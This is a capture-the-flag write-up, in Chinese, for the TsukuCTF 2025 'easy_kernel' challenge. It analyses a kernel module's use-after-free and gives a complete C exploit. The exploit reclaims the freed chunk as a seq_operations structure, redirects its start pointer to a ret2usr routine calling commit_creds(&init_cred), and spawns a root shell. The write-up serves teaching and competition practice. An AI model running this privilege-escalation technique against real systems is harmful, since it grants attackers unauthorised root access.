TsukuCTF 2025 writeups: easy_kernel

Last updated on 2025-05-07 00:41:03 +08:00

Challenge

image

flag在/dev/sdb,只有root可以讀取到

本題附檔有給源代碼

本題沒有開啟kpti,沒有開啟kaslr(內核的東西位址都固定)

1
2
~ # cat /proc/cmdline
root=/dev/sda rw init=/init console=ttyS0 nokaslr nopti loglevel=0 oops=panic panic=-1

本題的CPU也沒有支援SMEP跟SMAP,所以內核態可以訪問/執行用戶空間的數據

1
2
~ # grep -E 'smep|smap' /proc/cpuinfo
~ #

本題Linux 6.14.2,prepare_kernel_cred(NULL)已經無法直接或取init_cred,但沒開kaslr,所以可以直接找到init_cred的位址然後commit_creds(&init_cred)

掛載題目磁碟映像

本題的磁碟映像在rootfs.ext3,用以下指令就可以掛載到系統上

1
2
sudo mkdir /mnt/ext3
sudo mount ./rootfs.ext3 /mnt/ext3

直接cd /mnt/ext3在裡面編寫及編譯exploit就可以了

Analyze

init

題目會載入自製的kernel modulevuln.ko,後面會針對它做分析
image

vuln.ko / init_module

會註冊一個設備/dev/vuln

1
2
3
4
5
6
static int __init module_initialize(void) {
if (misc_register(&vuln_dev) != 0) {
return -1;
}
return 0;
}

vuln.ko / cleanup_module

拿掉設備/dev/vuln,並摧毀互斥鎖module_lock

1
2
3
4
static void __exit module_cleanup(void) {
misc_deregister(&vuln_dev);
mutex_destroy(&module_lock);
}

vuln.ko / module_ioctl

在開始操作之前,會先把互斥鎖module_lock上鎖,操作結束之後才會把module_lock解鎖,所以race condition是沒有了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static long module_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
request_t req;
long ret;
if (copy_from_user(&req, (void *)arg, sizeof(req)) != 0) {
return -1;
}
mutex_lock(&module_lock);
switch(cmd) {
case CMD_ALLOC:
ret = obj_alloc();
break;
case CMD_WRITE:
ret = obj_write(req.data, req.size);
break;
case CMD_FREE:
ret = obj_free();
break;
default:
ret = -1;
break;
}
mutex_unlock(&module_lock);
return ret;
}

這裡有三種操作可以做

  • CMD_ALLOC(0xf000) - 如果指針obj是空指針,就會kzalloc一塊struct obj大小(0x20)的記憶體,把位址存到全域變數指針obj
1
2
3
4
5
6
7
8
9
10
static long obj_alloc(void) {
if (obj != NULL) {
return -1;
}
obj = kzalloc(sizeof(struct obj), GFP_KERNEL);
if (obj == NULL) {
return -1;
}
return 0;
}
  • CMD_WRITE(0xf001) - 如果指針obj不為空指針,而且size(寫入資料大小)不超過struct obj的大小(0x20),就可以把資料data寫入obj指向的記憶體
1
2
3
4
5
6
7
8
9
static long obj_write(char *data, size_t size) {
if (obj == NULL || size > OBJ_SIZE) {
return -1;
}
if (copy_from_user(obj->buf, data, size) != 0) {
return -1;
}
return 0;
}
  • CMD_FREE(0xf002) - 把obj指向的記憶體free掉,但沒有清空指針,造成UAF,可以搭配CMD_WRITE攻擊。但因為CMD_ALLOC會檢查obj是不是空指針,所以一旦CMD_FREE之後就不能再進行CMD_ALLOC(操作會失敗),在這個vuln.ko中只能kzalloc一次
1
2
3
4
static long obj_free(void) {
kfree(obj);
return 0;
}

Solution

因為只能kzalloc一次,所以劫持freelist的就別想了。

在Linux中,open一個/proc/self/stat時,內核會從heap分配一個0x20大小的記憶體,當成struct seq_operations
https://elixir.bootlin.com/linux/v6.14.5/source/include/linux/seq_file.h#L31

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

而readproc/self/stat時,內核會調用到seq_read_iter()
https://elixir.bootlin.com/linux/v6.14.5/source/fs/seq_file.c#L171

1
2
3
4
/*
* Ready-made ->f_op->read_iter()
*/
ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)

先看到這邊,struct seq_file的memberop就是一個指向struct seq_operations的指針
https://elixir.bootlin.com/linux/v6.14.5/source/include/linux/seq_file.h#L16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct seq_file {
char *buf;
size_t size;
size_t from;
size_t count;
size_t pad_until;
loff_t index;
loff_t read_pos;
struct mutex lock;
const struct seq_operations *op;
int poll_event;
const struct file *file;
void *private;
};

回到seq_read_iter()m就是一個指向struct seq_file的指針。
在Ln225中,會呼叫m->op->start的function
https://elixir.bootlin.com/linux/v6.14.5/source/fs/seq_file.c#L225

1
2
3
4
5
struct seq_file *m = iocb->ki_filp->private_data;
...
// get a non-empty record in the buffer
p = m->op->start(m, &m->index);
...

因為這題沒開KPTI、SMAP、SMEP,可以訪問/執行用戶態數據,所以可以寫userspace shellcode打ret2usr(難怪會叫easy_kernel,這年頭沒人保護全關了)

總結以上,若我們

  1. CMD_ALLOC一個0x20大小的記憶體之後,CMD_FREE掉它
  2. open("/proc/self/stat", O_RDONLY),內核alloc一塊0x20的記憶體當成struct seq_operations時剛好申請到上一步時候free掉的記憶體,就會有一個struct seq_operations落入我們的控制
  3. 透過UAF,CMD_WRITE對這個已經被當成struct seq_operations的記憶體做寫入,把start改成userspace上的shellcode的位址
  4. read/proc/self/stat時,呼叫m->op->start,成功跳到shellcode上,就可以做提權

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// musl-gcc -static -Os -s exp.c -o exp2
// python3 upload.py /mnt/ext3/exp2 challs.tsukuctf.org 19000
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>

typedef struct {
size_t size;
char *data;
} request_t;

size_t commit_creds = 0xffffffff812a1050;
size_t init_cred = 0xffffffff81e3bfa0;

int (*commit_creds_kfunc)(void *cred);

void ret2usr_attack(void)
{
commit_creds_kfunc = (int (*)(void*)) commit_creds;

(*commit_creds_kfunc)(init_cred);
}

int main() {
// main
int fd1 = open("/dev/vuln", 2);

request_t req;
// alloc chunk#1 and free it
ioctl(fd1, 0xf000, &req);
ioctl(fd1, 0xf002, &req);

// chunk#1 now is a (struct)seq_operations
int fd_proc = open("/proc/self/stat", O_RDONLY);

// uaf
req.size = 32;
size_t *buf = malloc(32);
for (int i = 0; i < 4; i++) buf[i] = (size_t) ret2usr_attack;
req.data = buf;
ioctl(fd1, 0xf001, &req);

// exploit
char bp[8];
read(fd_proc, bp, 8);

if (getuid() == 0) {
puts("[*] Success");
system("/bin/sh");
} else {
puts("[x] Failed");
}

close(fd1);

return 0;
}

image

Flag: TsukuCTF25{n0w_u_learned_h0w_to_turn_UAF_int0_r00t}